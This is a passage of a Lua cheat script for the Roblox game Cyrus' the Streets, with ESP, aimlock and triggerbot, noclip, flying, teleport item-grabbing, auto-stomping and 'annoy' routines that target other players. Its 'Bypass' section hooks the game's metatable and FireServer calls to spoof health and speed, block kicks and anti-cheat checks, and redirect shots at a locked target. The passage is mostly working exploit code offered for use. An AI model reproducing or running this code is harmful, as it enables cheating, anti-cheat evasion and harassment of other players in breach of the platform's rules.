  787. if v:IsA'Part' and not v.Parent:FindFirstChild'Head' and not v.Parent.Parent:FindFirstChild'Head' and v.Size.Y ~= 1 then
  788. local Selection = v:FindFirstChildOfClass'SelectionBox'
  789. local Int = v:FindFirstChildOfClass'IntValue'
  790. if Int then
  791. v.Transparency = Int.Value
  792. Int:Destroy()
  793. if Selection then
  794. Selection:Destroy()
  795. end
  796. else
  797. if Mode == "wireframe" then
  798. local Select = Instance.new('SelectionBox',v)
  799. Select.Adornee = v
  800. Select.LineThickness = 0.001
  801. Select.SurfaceTransparency = 1
  802. Select.Color3 = Color3.fromRGB(124,0,0)
  803. WireFrameTable[#WireFrameTable + 1] = {Select,v}
  804. end
  805. local TransparentValue = Instance.new('IntValue',v)
  806. TransparentValue.Value = v.Transparency
  807. v.Transparency = 1
  808. end
  809. end
  810. end
  811. end
  812.  
  813. local function IsAUser(Player,Chat)
  814. if Chat == "I am a CyAdmin User" or Chat == "Hey I'm a cyrus' streets admin user1" then
  815. AdminUserTable[Player] = true
  816. return true
  817. end
  818. end
  819.  
  820. local function ShowOrHideEsp(Table,Bool,Player)
  821. table.foreach(Table,function(Index,Value)
  822. if Index == "Box" then
  823. table.foreach(Value,function(Index2,Value2)
  824. Value2.Visible = Bool
  825. local Aimlocked = tostring(Player) == tostring(CamlockPlayer) or tostring(Player) == tostring(AimlockTarget)
  826. Value2.Color = Aimlocked and Color3.fromRGB(255,0,0) or EspColour
  827. end)
  828. else
  829. if typeof(Value) ~= "Instance" then
  830. Value.Visible = Bool
  831. Value.Color = EspColour
  832. end
  833. end
  834. end)
  835. end
  836.  
  837. local function WorldToViewportPoint(Pos)
  838. return workspace.CurrentCamera:WorldToViewportPoint(Pos)
  839. end
  840.  
  841. local function stopAnim(Id)
  842. local Tracks = GetChar().Humanoid:GetPlayingAnimationTracks()
  843. for i = 1,#Tracks do
  844. local Track = Tracks[i]
  845. if Track.Animation.AnimationId == ("rbxassetid://"..Id) then
  846. Track:Stop()
  847. end
  848. end
  849. end
  850.  
  851. local function GrabItem(Thing,OldPos)
  852. if game.PlaceId ~= 455366377 then return end
  853. local PartFound = GetChar():FindFirstChild'RealHumanoidRootPart' or GetChar():FindFirstChild'Torso'
  854. local Track = GetChar().Humanoid:LoadAnimation(SpinAnimation)
  855. PartFound.CFrame = PartFound.CFrame * CFrame.new(math.random(20,45),0,math.random(1,5))
  856. wait()
  857. BuyingStuff = true
  858. repeat
  859. Track:play(0.1,1,10)
  860. PartFound.CFrame = PartTable[Thing]:FindFirstChildOfClass'Part'.CFrame + Vector3.new(0,1.3,0)
  861. RunService.Heartbeat:wait()
  862. until PartTable[Thing]:FindFirstChildOfClass'Part'.BrickColor == BrickColor.new'Bright red' or GetChar():FindFirstChild('Bone',true) or GetChar().Humanoid.Health == 0
  863. PartFound.CFrame = OldPos
  864. BuyingStuff = false
  865. return true
  866. end
  867.  
  868. local function HealthChanged(Health)
  869. if Health <= HealBotHealth and HealBot and not TpBypass then
  870. if GrabItem("burger",GetChar().Head.CFrame) then
  871. local Hamborger = LP.Backpack:FindFirstChild'Burger'
  872. if Hamborger then
  873. Hamborger.Parent = GetChar()
  874. Hamborger:Activate() -- CHEEMS
  875. repeat RunService.Heartbeat:Wait() until Hamborger.Parent ~= GetChar()
  876. end
  877. end -- yeah I copy pasted it from my heal cmd DEAL WITH IT
  878. if GrabItem("drink",GetChar().Head.CFrame) then
  879. local Drink = LP.Backpack:FindFirstChild'Drink'
  880. if Drink then
  881. Drink.Parent = GetChar()
  882. Drink:Activate()
  883. end
  884. end
  885. end
  886. end
  887.  
  888. local function dragGUI(FrameToDrag,Thing)
  889. local Dragging = false
  890. local DragInput,DragStart,StartPos
  891. local function Update(Input)
  892. local Delta = Input.Position - DragStart
  893. TweenService:Create(FrameToDrag,TweenInfo.new(0.055,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut),{Position = UDim2.new(StartPos.X.Scale,StartPos.X.Offset + Delta.X,StartPos.Y.Scale,StartPos.Y.Offset + Delta.Y)}):Play()
  894. end
  895. FrameToDrag.InputBegan:Connect(function(Input)
  896. if Input.UserInputType == Enum.UserInputType.MouseButton1 then
  897. Dragging = true
  898. DragStart = Input.Position
  899. StartPos = FrameToDrag.Position
  900. Input.Changed:Connect(function()
  901. if Input.UserInputState == Enum.UserInputState.End then
  902. Dragging = false
  903. end
  904. end)
  905. end
  906. end)
  907. FrameToDrag.InputChanged:Connect(function(Input)
  908. if Input.UserInputType == Enum.UserInputType.MouseMovement then
  909. DragInput = Input
  910. end
  911. end)
  912. UserInput.InputChanged:Connect(function(Input)
  913. if Input == DragInput and Dragging then
  914. Update(Input)
  915. end
  916. end)
  917. end
  918.  
  919. local function createRainbow(Pos,Text,Value)
  920. local RainbowButton = Instance.new('TextButton',RainbowScrolling)
  921. RainbowButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  922. RainbowButton.BackgroundTransparency = 1
  923. RainbowButton.Position = Pos
  924. RainbowButton.Size = UDim2.new(0,480,0,50)
  925. RainbowButton.Font = Enum.Font.SourceSans
  926. RainbowButton.TextColor3 = Color3.fromRGB(170,0,0)
  927. RainbowButton.TextSize = 25
  928. RainbowButton.Text = Text
  929. RainbowButton.TextWrapped = true
  930. RainbowButton.MouseButton1Click:Connect(function()
  931. if Text == "All" then
  932. RainbowHats = "All"
  933. RainbowFrame.Visible = false
  934. else
  935. LP.Backpack.Stank:FireServer("rep",Value.Parent)
  936. RainbowFrame.Visible = false
  937. RainbowHats = true
  938. end
  939. end)
  940. dragGUI(RainbowFrame,RainbowButton)
  941. end
  942.  
  943. local function createCommandBarCmd(Name,Args)
  944. if Name and Args then
  945. local CmdBarTextLabel = Instance.new('TextLabel',CmdBarFrame)
  946. CmdBarTextLabel.BackgroundTransparency = 1
  947. CmdBarTextLabel.Position = UDim2.new(-20,0,0,0)
  948. CmdBarTextLabel.Size = UDim2.new(0,200,0,15)
  949. CmdBarTextLabel.ZIndex = 2
  950. CmdBarTextLabel.Font = Enum.Font.SciFi
  951. CmdBarTextLabel.Text = (Name.." "..Args)
  952. CmdBarTextLabel.TextColor3 = Color3.fromRGB(255,255,255)
  953. CmdBarTextLabel.TextScaled = true
  954. CmdBarTextLabel.TextSize = 14
  955. CmdBarTextLabel.TextWrapped = true
  956. dragGUI(CmdBarFrame,CmdBarTextLabel)
  957. end
  958. end
  959.  
  960. local function createCmd(Pos,CommandName,CommandInfo,CommandArgs)
  961. local CommandLabel = Instance.new('TextLabel',CmdsScrolling)
  962. CommandLabel.BackgroundColor3 = Color3.fromRGB(0,0,0)
  963. CommandLabel.BackgroundTransparency = 0.9
  964. CommandLabel.Position = Pos
  965. CommandLabel.Size = UDim2.new(0,387,0,31)
  966. CommandLabel.Font = Enum.Font.SourceSans
  967. CommandLabel.Text = ("["..CommandName.."] "..CommandInfo)
  968. CommandLabel.TextColor3 = Color3.fromRGB(255,255,255)
  969. CommandLabel.TextSize = 14
  970. CommandLabel.TextWrapped = true
  971. dragGUI(CmdsFrame,CommandLabel)
  972. end
  973.  
  974. local function StateChanged(Old,New)
  975. if Flying or NoGh then
  976. if New == Enum.HumanoidStateType.FallingDown or New == Enum.HumanoidStateType.PlatformStanding then
  977. LP.Character.Humanoid.PlatformStand = false
  978. LP.Character.Humanoid:ChangeState(8)
  979. end
  980. end
  981. end
  982.  
  983. local function ShotOrHit(Character)
  984. if Character then
  985. local Tool = Character:FindFirstChildOfClass'Tool'
  986. if Tool then
  987. return Tool,Tool:FindFirstChild'Fire' and "shot you" or "hit you"
  988. end
  989. end
  990. end
  991.  
  992. local function ChangeDamageIndicatorText(Text)
  993. DmgIndicator.Text = Text
  994. DmgIndicator.Visible = true
  995. wait(5)
  996. DmgIndicator.Visible = false
  997. end
  998.  
  999. local function ColourChanger(T)
  1000. if T:IsA'Trail' then
  1001. T.Color = BulletColour
  1002. end
  1003. if BfgOn and T:FindFirstChild('Clips',true) then
  1004. for _,v in pairs(LP.Backpack:GetChildren()) do
  1005. if v:IsA'Tool' and v:FindFirstChild('Clips',true) then
  1006. v.Parent = GetChar()
  1007. end
  1008. end
  1009. end
  1010. if not BfgOn and EstimatedGunRanges[T.Name] and GunAnim ~= "None" then
  1011. wait()
  1012. if T.Name ~= "Shotty" and T.Name ~= "Sawed Off" or GunAnim == "1" then
  1013. GetChar().Humanoid:LoadAnimation(GunAnimation1):Play()
  1014. else
  1015. local Track = GetChar().Humanoid:LoadAnimation(GunAnimation2)
  1016. Track:Play()
  1017. wait()
  1018. Track:AdjustSpeed(0)
  1019. end
  1020. end
  1021. if T.Name == "Bone" then
  1022. if AutoDie then
  1023. GetChar().Humanoid.Health = 0
  1024. end
  1025. if GodMode and game.PlaceId == 455366377 then
  1026. for i,v in pairs(GetChar():GetDescendants()) do
  1027. if v:IsA'NumberValue' then
  1028. v:Destroy()
  1029. end
  1030. end
  1031. end
  1032. end
  1033. if T:IsA'ObjectValue' and T.Name == "creator" then
  1034. local Player = T.Value
  1035. if AutoTarget then
  1036. if Aimlock then
  1037. AimlockTarget = Player
  1038. local Connection;Connection = Players:GetPlayerFromCharacter(AimlockTarget).CharacterAdded:Connect(function(C)
  1039. if tostring(C) == tostring(AimlockTarget) then
  1040. AimlockTarget = C
  1041. else
  1042. Connection:Disconnect()
  1043. Connection = nil
  1044. end
  1045. end)
  1046. end
  1047. if CamLocking then
  1048. CamlockPlayer = Players:GetPlayerFromCharacter(Player)
  1049. end
  1050. end
  1051. if AutoFeloop then
  1052. CheckCommand("feloop "..tostring(Player))
  1053. end
  1054. if AutoTriggerBot and not TriggerBot then
  1055. CheckCommand("triggerbot "..tostring(Player))
  1056. AutoStomp = true
  1057. local Life;Life = Players:GetPlayerFromCharacter(Player).CharacterRemoving:Connect(function(Char)
  1058. if tostring(Char) == tostring(AnnoyingPlayer) then
  1059. TriggerBot = false
  1060. AnnoyOn = false
  1061. AnnoyingPlayer = nil
  1062. AimbotAutoShoot = false
  1063. Flying = false
  1064. AutoDie = false
  1065. AutoStomp = false
  1066. AimlockTarget = nil
  1067. Life:Disconnect()
  1068. else
  1069. Life:Disconnect()
  1070. end
  1071. end)
  1072. end
  1073. pcall(function()
  1074. local Tool,Method = ShotOrHit(Player)
  1075. ChangeDamageIndicatorText(Player.Name.." has "..Method.." from "..math.floor((GetChar().Head.Position - Player.Head.Position).magnitude).." studs with a "..Tool.Name)
  1076. end)
  1077. end
  1078. end
  1079.  
  1080. local function RemoveGunAnimation(T)
  1081. if EstimatedGunRanges[T.Name] then
  1082. stopAnim("889968874")
  1083. stopAnim("229339207")
  1084. end
  1085. end
  1086.  
  1087. local function FreeCam(Speed)
  1088. if not GetChar():FindFirstChild'Head' then return end
  1089. if workspace:FindFirstChild'FreecamPart' then
  1090. workspace.FreecamPart:Destroy()
  1091. end
  1092. Speed = Speed or 35
  1093. GetChar().Head.Anchored = true
  1094. local FreecamPart = Instance.new('Part',workspace)
  1095. FreecamPart.Name = "FreecamPart"
  1096. FreecamPart.Position = GetChar().Head.Position + Vector3.new(0,5,0)
  1097. FreecamPart.Transparency = 1
  1098. FreecamPart.CanCollide = false
  1099. FreecamPart.Anchored = true
  1100. workspace.CurrentCamera.CameraSubject = FreecamPart
  1101. while Freecam and GetChar().Humanoid.Health > 0 and wait() do
  1102. local Pos = Vector3.new()
  1103. local Look = (workspace.CurrentCamera.Focus.p - workspace.CurrentCamera.CoordinateFrame.p).unit
  1104. local PartPos = FreecamPart.Position
  1105. if KeyTable['w'] then
  1106. Pos = Pos + Vector3.new(0,0,-1)
  1107. elseif KeyTable['a'] then
  1108. Pos = Pos + Vector3.new(-1,0,0)
  1109. elseif KeyTable['s'] then
  1110. Pos = Pos + Vector3.new(0,0,1)
  1111. elseif KeyTable['d'] then
  1112. Pos = Pos + Vector3.new(1,0,0)
  1113. elseif KeyTable['Space'] then
  1114. Pos = Pos + Vector3.new(0,1,0)
  1115. elseif KeyTable['Control'] then
  1116. Pos = Pos + Vector3.new(0,-1,0)
  1117. end
  1118. FreecamPart.CFrame = CFrame.new(PartPos,PartPos + Look) * CFrame.new(Pos * Speed)
  1119. end
  1120. workspace.CurrentCamera.CameraSubject = GetChar()
  1121. GetChar().Head.Anchored = false
  1122. if workspace:FindFirstChild'FreecamPart' then
  1123. workspace.FreecamPart:Destroy()
  1124. end
  1125. end
  1126.  
  1127. local function BehindAWall(Target)
  1128. if Target:FindFirstChild'Head' and GetChar():FindFirstChild'Head' then
  1129. local RYEBread = Ray.new(Target.Head.Position,GetChar().Head.Position)
  1130. local RYEBreadHit = workspace:FindPartOnRay(RYEBread)
  1131. if RYEBreadHit then
  1132. return RYEBreadHit:IsDescendantOf(Target)
  1133. end
  1134. end
  1135. end
  1136.  
  1137. local function LoopChangeWalkSpeed()
  1138. if game.PlaceId == 455366377 then
  1139. if KeyTable['Shift'] and (WalkShoot and (LP.Backpack:FindFirstChild'ServerTraits' and LP.Backpack.ServerTraits.Stann.Value > 0 or GetChar():FindFirstChild'Stamina' and GetChar().Stamina.Value > 0) or not WalkShoot) then
  1140. if Normalwalk and SprintSpeed == 25 then return end
  1141. GetChar().Humanoid.WalkSpeed = SprintSpeed
  1142. return
  1143. end
  1144. if KeyTable['Control'] then
  1145. if Normalwalk and CrouchSpeed == 8 then return end
  1146. GetChar().Humanoid.WalkSpeed = CrouchSpeed
  1147. return
  1148. end
  1149. if not WalkShoot then
  1150. GetChar().Humanoid.WalkSpeed = WalkSpeed
  1151. end
  1152. end
  1153. end
  1154.  
  1155. local function AimbotToCFrame()
  1156. local CFrameToReturn;
  1157. local TargetPart = AimlockTarget.FindFirstChild(AimlockTarget,'RealHumanoidRootPart') or AimlockTarget.FindFirstChild(AimlockTarget,'Torso')
  1158. if TargetPart and AimMode == "OldPrediction" then
  1159. CFrameToReturn = TargetPart.CFrame + TargetPart.Velocity / AimbotVelocity
  1160. elseif TargetPart and AimMode == "Prediction" then
  1161. CFrameToReturn = (TargetPart.CFrame + TargetPart.Velocity / (PlayersPing < 0.26 and 5 or 7.5)) + (TargetPart.RotVelocity / (PlayersPing < 0.26 and 5 or 7.5))
  1162. elseif AimlockTarget.FindFirstChild(AimlockTarget,AimMode) then
  1163. CFrameToReturn = AimlockTarget[AimMode].CFrame
  1164. end
  1165. return CFrameToReturn
  1166. end
  1167.  
  1168. local function updateGun()
  1169. local NewTool;
  1170. local Tool = LP.Character:FindFirstChildOfClass'Tool'
  1171. if Tool and EstimatedGunRanges[Tool.Name] and (Tool.Ammo.Value > 0 or Tool.Clips.Value > 0) then
  1172. return true
  1173. else
  1174. for i,v in pairs(LP.Backpack:GetChildren()) do
  1175. if v:IsA'Tool' and EstimatedGunRanges[v.Name] then
  1176. if v:FindFirstChild'Clips' then
  1177. if v.Clips.Value > 0 or v.Ammo.Value > 0 then
  1178. NewTool = v
  1179. break
  1180. end
  1181. end
  1182. end
  1183. end
  1184. if NewTool then
  1185. return NewTool
  1186. else
  1187. if game.PlaceId == 455366377 and GetChar():FindFirstChildOfClass'Tool' and GetChar():FindFirstChildOfClass'Tool':FindFirstChild'Ammo' and TriggerBotAutoReload and not BuyingStuff and tonumber(LP.PlayerGui.HUD.Cash.Text:sub(2)) >= 25 then
  1188. GrabItem("ammo",GetChar().Head.CFrame)
  1189. return true
  1190. else
  1191. GetChar():BreakJoints()
  1192. end
  1193. return false
  1194. end
  1195. end
  1196. end
  1197.  
  1198.  
  1199. -- [[ End ]] --
  1200.  
  1201. -- [[ Bypass ]] -- .
  1202.  
  1203. local Raw = getrawmetatable(game)
  1204. local Caller = checkcaller or is_protosmasher_caller or Cer.isCerus
  1205. local CallingScript = getcallingscript or get_calling_script
  1206. local Closure = newcclosure or read_me or function(Func) return Func end
  1207. local CallingMethod = getnamecallmethod or get_namecall_method
  1208.  
  1209. setreadonly(Raw,false)
  1210.  
  1211. local Index = Raw.__index;
  1212. Raw.__index = Closure(function(self,Indexed)
  1213. if TpBypass and CallingScript and CallingScript() ~= script and Indexed == "HumanoidRootPart" then
  1214. return Index(self,"Torso")
  1215. end
  1216. return Index(self,Indexed)
  1217. end)
  1218.  
  1219. local NewIndex = Raw.__newindex;
  1220. Raw.__newindex = Closure(function(self,Property,Value)
  1221. if Caller() then return NewIndex(self,Property,Value) end
  1222. StarterGui:SetCore('ResetButtonCallback',true)
  1223. if Property == "WalkSpeed" and WalkShoot then return 16 end
  1224. if Property == "JumpPower" then return 37.5 end
  1225. if Property == "HipHeight" then return 0 end
  1226. if Property == "Health" then return 100 end
  1227. if self == workspace and Property == "Gravity" then return NormalGravity end
  1228. if Property == "CFrame" and self:IsDescendantOf(LP.Character) then return end
  1229. return NewIndex(self,Property,Value)
  1230. end)
  1231.  
  1232. local Namecall = Raw.__namecall;
  1233. Raw.__namecall = Closure(function(self,...)
  1234. local Args = {...}
  1235. if Caller() then
  1236. if CallingMethod() == "FindFirstChild" and Args[1] == "RealHumanoidRootPart" then
  1237. Args[1] = "HumanoidRootPart"
  1238. return Namecall(self,unpack(Args))
  1239. end
  1240. return Namecall(self,...)
  1241. end
  1242. if CallingMethod() == "Destroy" or CallingMethod() == "Kick" then
  1243. if self == LP then return wait(9e9) end
  1244. if tostring(self) == 'BodyGyro' or tostring(self) == 'BodyVelocity' then return wait(9e9) end
  1245. end
  1246. if CallingMethod() == "BreakJoints" and self == LP.Character then return wait(9e9) end
  1247. if CallingMethod() == "FireServer" then
  1248. if tostring(self) == "Fire" and Aimlock and AimlockTarget then
  1249. return Namecall(self,AimbotToCFrame())
  1250. end
  1251. if tostring(self) == "Input" and Aimlock and AimlockTarget then
  1252. Args[2].mousehit = AimbotToCFrame()
  1253. return Namecall(self,unpack(Args))
  1254. end
  1255. if tostring(self.Parent) == "ReplicatedStorage" or Args[1] == "hey" and not tostring(self) == "SayMessageRequest" then
  1256. return wait(9e9)
  1257. end
  1258. if tostring(self) == "Touch1" and AlwaysGh then
  1259. Args[3] = true
  1260. return Namecall(self,unpack(Args))
  1261. end
  1262. if Args[1] == "play" then
  1263. PlayOnDeath = Args[2]
  1264. elseif Args[1] == "stop" then
  1265. PlayOnDeath = nil
  1266. end
  1267. end
  1268. if CallingMethod() == "WaitForChild" or CallingMethod() == "FindFirstChild" then
  1269. if CallingScript and CallingScript() ~= script and TpBypass and Args[1] == "HumanoidRootPart" then
  1270. Args[1] = "Torso"
  1271. return Namecall(self,unpack(Args))
  1272. end
  1273. end
  1274. return Namecall(self,...)
  1275. end)
  1276.  
  1277. if hookfunction then
  1278. local OldRemote; OldRemote = hookfunction(Instance.new'RemoteEvent'.FireServer,function(self,...)
  1279. local Args = {...}
  1280. if tostring(self) == "Touch1" and AlwaysGh then
  1281. Args[3] = true
  1282. return OldRemote(self,unpack(Args))
  1283. end
  1284. return OldRemote(self,...)
  1285. end)
  1286. end
  1287.  
  1288. setreadonly(Raw,true)
  1289.  
  1290. -- [[ End ]] --
  1291.  
  1292. -- [[ Event Handling ]] --
  1293.  
  1294. LP.Chatted:Connect(CheckCommand)
  1295.  
  1296. workspace.DescendantAdded:Connect(function(T)
  1297. if NeverSitting and string.find(T.ClassName:lower(),"seat") then
  1298. T.Parent = CoreGui
  1299. end
  1300. if AutoFarm then
  1301. farm("Cash")
  1302. end
  1303. if ItemEsp and T.Name == "RandomSpawner" then
  1304. for i,v in pairs(FarmTable) do
  1305. local Part,String = find(i)
  1306. if Part ~= "None" then
  1307. Esp(Part,String)
  1308. end
  1309. end
  1310. end
  1311. end)
  1312.  
  1313. RunService.Stepped:Connect(function()
  1314. local Character = GetChar()
  1315. local PartFound = Character:FindFirstChild'RealHumanoidRootPart' or Character:FindFirstChild'Torso'
  1316. if Noclip then
  1317. local Children = Character:GetDescendants()
  1318. for i = 1,#Children do
  1319. local Child = Children[i]
  1320. if Child:IsA'BasePart' then
  1321. Child.CanCollide = false
  1322. end
  1323. end
  1324. end
  1325. if KeyTable['Shift'] and SprintSpeed == 25 and WalkShoot and (LP.Backpack:FindFirstChild'ServerTraits' and LP.Backpack.ServerTraits.Stann.Value <= 5 or GetChar():FindFirstChild'Stamina' and GetChar().Stamina.Value <= 5) then
  1326. GetChar().Humanoid.WalkSpeed = 16
  1327. end
  1328. if RemoteGunBodyPos and RemoteGunPlayer and RemoteGunPlayer.Character and RemoteGunPlayer.Character:FindFirstChild'Torso' then
  1329.  
  1330. end
  1331. if GodMode and game.PlaceId ~= 455366377 then
  1332. local RightLeg = Character:FindFirstChild'Right Leg'
  1333. if RightLeg then
  1334. RightLeg:Destroy()
  1335. end
  1336. end
  1337. local Tool = Character:FindFirstChildOfClass'Tool'
  1338. if AntiKill and Tool and not table.find(ToolTable,Tool) then
  1339. if Character:FindFirstChild'Right Arm' and Character['Right Arm']:FindFirstChild'RightGrip' then
  1340. Character['Right Arm'].RightGrip:Destroy()
  1341. end
  1342. end
  1343. if flying and Character:FindFirstChild'Humanoid' and (game.PlaceId == 455366377 and not FlyDebounce) then
  1344. FlyDebounce = true
  1345. LP.Character.Humanoid:ChangeState(3)
  1346. if game.PlaceId == 455366377 then
  1347. wait(0.2)
  1348. end
  1349. FlyDebounce = false
  1350. end
  1351. if ClockTime then
  1352. Lighting.ClockTime = ClockTime
  1353. end
  1354. if AirwalkOn and Character:FindFirstChildOfClass'Humanoid' and PartFound then
  1355. Character.Humanoid.HipHeight = 0
  1356. AirWalk.CFrame = PartFound.CFrame + Vector3.new(0,-3.5,0)
  1357. end
  1358. if CamLocking and CamlockPlayer and CamlockPlayer.Character and CamlockPlayer.Character:FindFirstChild'Head' then
  1359. if CamlockPlayer.Character:FindFirstChildOfClass'Humanoid' and CamlockPlayer.Character.Humanoid.Health == 0 then return end
  1360. if CamlockPlayer.Character:FindFirstChild(CamlockTarget) then
  1361. workspace.CurrentCamera.CoordinateFrame = CFrame.new(workspace.CurrentCamera.CoordinateFrame.p,CamlockPlayer.Character[CamlockTarget].CFrame.p)
  1362. else
  1363. workspace.CurrentCamera.CoordinateFrame = CFrame.new(workspace.CurrentCamera.CoordinateFrame.p,CamlockPlayer.Character.Head.CFrame.p)
  1364. end
  1365. end
  1366. if FeLoop and LoopPlayer and LoopPlayer.Character and PartFound then
  1367. local Part = LoopPlayer.Character:FindFirstChildWhichIsA('BasePart',true)
  1368. if Part then
  1369. PartFound.CFrame = Part.CFrame
  1370. end
  1371. local BChildren = LP.Backpack:GetChildren()
  1372. for i = 1,#BChildren do
  1373. local Child = BChildren[i]
  1374. Child.Parent = Character
  1375. Child:GetPropertyChangedSignal("Parent"):Wait()
  1376. end
  1377. end
  1378. if AnnoyOn and AnnoyingPlayer and AnnoyingPlayer.Character and PartFound then
  1379. local Part = AnnoyingPlayer.Character:FindFirstChild'Torso'
  1380. if Part then
  1381. if TriggerBot then
  1382. if not Flying then
  1383. CheckCommand("fly")
  1384. end
  1385. if not AimbotAutoShoot and not AutoTriggerBot then
  1386. CheckCommand("aimbotautoshoot")
  1387. end
  1388. if not Aimlock or AnnoyingPlayer and tostring(AimlockTarget) ~= tostring(AnnoyingPlayer) then
  1389. CheckCommand("aim "..AnnoyingPlayer.Name)
  1390. end
  1391. if not Character:FindFirstChildOfClass'ForceField' then
  1392. local Gun = updateGun()
  1393. local FoundTool = Character:FindFirstChildOfClass'Tool'
  1394. if typeof(Gun) ~= "boolean" and Gun and Gun ~= FoundTool then
  1395. if FoundTool then
  1396. FoundTool.Parent = LP.Backpack
  1397. wait()
  1398. end
  1399. Gun.Parent = LP.Character
  1400. end
  1401. end
  1402. if AnnoyingPlayer and AnnoyingPlayer.Character and not AnnoyingPlayer.Character:FindFirstChild('Bone',true) and (not BuyingStuff and TriggerBotAutoReload or not TriggerBotAutoReload) then
  1403. if Character:FindFirstChild'Glock' or Character:FindFirstChild'Uzi' then
  1404. local Random = math.random(1,6)
  1405. if Random <= 3 then
  1406. PartFound.CFrame = Part.CFrame * CFrame.new(math.random(1,25),0,math.random(1,25))
  1407. elseif Random > 3 then
  1408. PartFound.CFrame = Part.CFrame * CFrame.new(-math.random(1,25),0,-math.random(1,25))
  1409. end
  1410. else
  1411. local Random = math.random(1,6)
  1412. if Random <= 3 then
  1413. PartFound.CFrame = Part.CFrame * CFrame.new(math.random(1,15),0,math.random(1,15))
  1414. elseif Random > 3 then
  1415. PartFound.CFrame = Part.CFrame * CFrame.new(-math.random(1,15),0,-math.random(1,15))
  1416. end
  1417. end
  1418. else
  1419. if not BuyingStuff and TriggerBotAutoReload or not TriggerBotAutoReload and not AutoTriggerBot then
  1420. PartFound.CFrame = Part.CFrame
  1421. end
  1422. end
  1423. else
  1424. PartFound.CFrame = Part.CFrame
  1425. end
  1426. end
  1427. end
  1428. if AutoStomp then
  1429. local P = Players:GetPlayers()
  1430. for i = 1,#P do
  1431. local Player = P[i]
  1432. if PartFound and Player ~= LP and Player.Character and Player.Character:FindFirstChild'Head' and Player.Character:FindFirstChild('Bone',true) then
  1433. if (PartFound.Position - Player.Character.Head.Position).magnitude < AutoStompRange and Player.Character.Humanoid.Health > 0 and not Player.Character:FindFirstChild'Dragged' and not table.find(StompWhitelist,Player.UserId) then
  1434. Teleport(Player.Character.Head.CFrame)
  1435. LP.Backpack.ServerTraits.Finish:FireServer(LP.Backpack:FindFirstChild'Punch' or LP.Character:FindFirstChild'Punch')
  1436. end
  1437. end
  1438. end
  1439. end
  1440. end)
  1441.  
  1442. local HealthChangedEvent;HealthChangedEvent = LP.Character.Humanoid.HealthChanged:Connect(HealthChanged)
  1443. local HumanoidStateChanged;HumanoidStateChanged = LP.Character.Humanoid.StateChanged:Connect(StateChanged)
  1444. local ColourChangerEvent;ColourChangerEvent = LP.Character.DescendantAdded:Connect(ColourChanger)
  1445. local RemoveGunAnimationEvent;RemoveGunAnimationEvent = LP.Character.DescendantRemoving:Connect(RemoveGunAnimation)
  1446. local WalkSpeedChangedEvent;WalkSpeedChangedEvent = LP.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"):Connect(LoopChangeWalkSpeed)
  1447.  
  1448. LP.CharacterAdded:Connect(function(C)
  1449. Flying = false
  1450. AntiKill = false
  1451. ToolTable = {}
  1452. C:WaitForChild'Humanoid' -- wait until the humanoid has been found
  1453. -- Gun Animation Event --
  1454. RemoveGunAnimationEvent:Disconnect()
  1455. RemoveGunAnimationEvent = nil
  1456. RemoveGunAnimationEvent = LP.Character.DescendantRemoving:Connect(RemoveGunAnimation)
  1457. -- HealBot Event --
  1458. HealthChangedEvent:Disconnect()
  1459. HealthChangedEvent = nil
  1460. HealthChangedEvent = C.Humanoid.HealthChanged:Connect(HealthChanged)
  1461. -- No GroundHit Event --
  1462. HumanoidStateChanged:Disconnect()
  1463. HumanoidStateChanged = nil
  1464. HumanoidStateChanged = C.Humanoid.StateChanged:Connect(StateChanged)
  1465. -- Colour Changer Event --
  1466. ColourChangerEvent:Disconnect()
  1467. ColourChangerEvent = nil
  1468. ColourChangerEvent = C.DescendantAdded:Connect(ColourChanger)
  1469. -- WalkSpeed Event --
  1470. WalkSpeedChangedEvent:Disconnect()
  1471. WalkSpeedChangedEvent = nil
  1472. WalkSpeedChangedEvent = LP.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"):Connect(LoopChangeWalkSpeed)
  1473. -- Loop Properties --
  1474. C.Humanoid.WalkSpeed = SpawnWs or NormalWs
  1475. C.Humanoid.JumpPower = SpawnJP or NormalJP
  1476. C.Humanoid.HipHeight = SpawnHH or NormalHH
  1477. -- Other --
  1478. if TpBypass then
  1479. local Hr = C:FindFirstChild'RealHumanoidRootPart'
  1480. if Hr then
  1481. Hr:Destroy()
  1482. end
  1483. end
  1484. if FeLoop then
  1485. C['Right Leg']:Destroy()
  1486. local H = C.Humanoid:Clone()
  1487. C.Humanoid:Destroy()
  1488. H.Parent = C
  1489. workspace.CurrentCamera.CameraSubject = C
  1490. end
  1491. pcall(function()
  1492. if PlayOnDeath then
  1493. wait()
  1494. local Tool = LP.Backpack:WaitForChild'BoomBox'
  1495. if Tool then
  1496. Tool.Parent = C
  1497. wait()
  1498. Tool:FindFirstChildOfClass'RemoteEvent':FireServer("play",PlayOnDeath)
  1499. wait()
  1500. Tool.Parent = LP.Backpack
  1501. end
  1502. end
  1503. end) -- code has stupid errors? pcall the fuck out of it
  1504. end)
  1505.  
  1506. UserInput.InputBegan:Connect(function(Key)
  1507. local Character = GetChar()
  1508. local PartFound = Character:FindFirstChild'RealHumanoidRootPart' or Character:FindFirstChild'Torso'
  1509. local Target = Mouse.Target
  1510. if UserInput:GetFocusedTextBox() then return end
  1511. if not Character:FindFirstChildOfClass'Tool' and AimlockMode == "LeftClick" and Key.UserInputType == Enum.UserInputType.MouseButton1 or AimlockMode == "RightClick" and Key.UserInputType == Enum.UserInputType.MouseButton2 then
  1512. if Target and Target.Parent then
  1513. local TargetNew = Target.Parent
  1514. if not Players:GetPlayerFromCharacter(TargetNew) then TargetNew = TargetNew.Parent end
  1515. if not Players:GetPlayerFromCharacter(TargetNew) then return end
  1516. if TargetNew ~= Character and TargetNew ~= AimlockTarget and Aimlock then
  1517. AimlockTarget = TargetNew
  1518. local Connection;Connection = Players:GetPlayerFromCharacter(TargetNew).CharacterAdded:Connect(function(C)
  1519. if tostring(C) == tostring(AimlockTarget) then
  1520. AimlockTarget = C
  1521. else
  1522. Connection:Disconnect()
  1523. Connection = nil
  1524. end
  1525. end)
  1526. notif("AimlockTarget","Has been set to "..AimlockTarget.Name,5,nil)
  1527. end
  1528. end
  1529. end
  1530. if CanSetHotkey then
  1531. local KeyCode = Key.KeyCode.Name
  1532. if KeyCode ~= "Unknown" and KeyCode ~= "Return" and Keycode ~= "Slash" then
  1533. if CanSetHotkey == "CmdBar" then
  1534. CmdBarKey = KeyCode
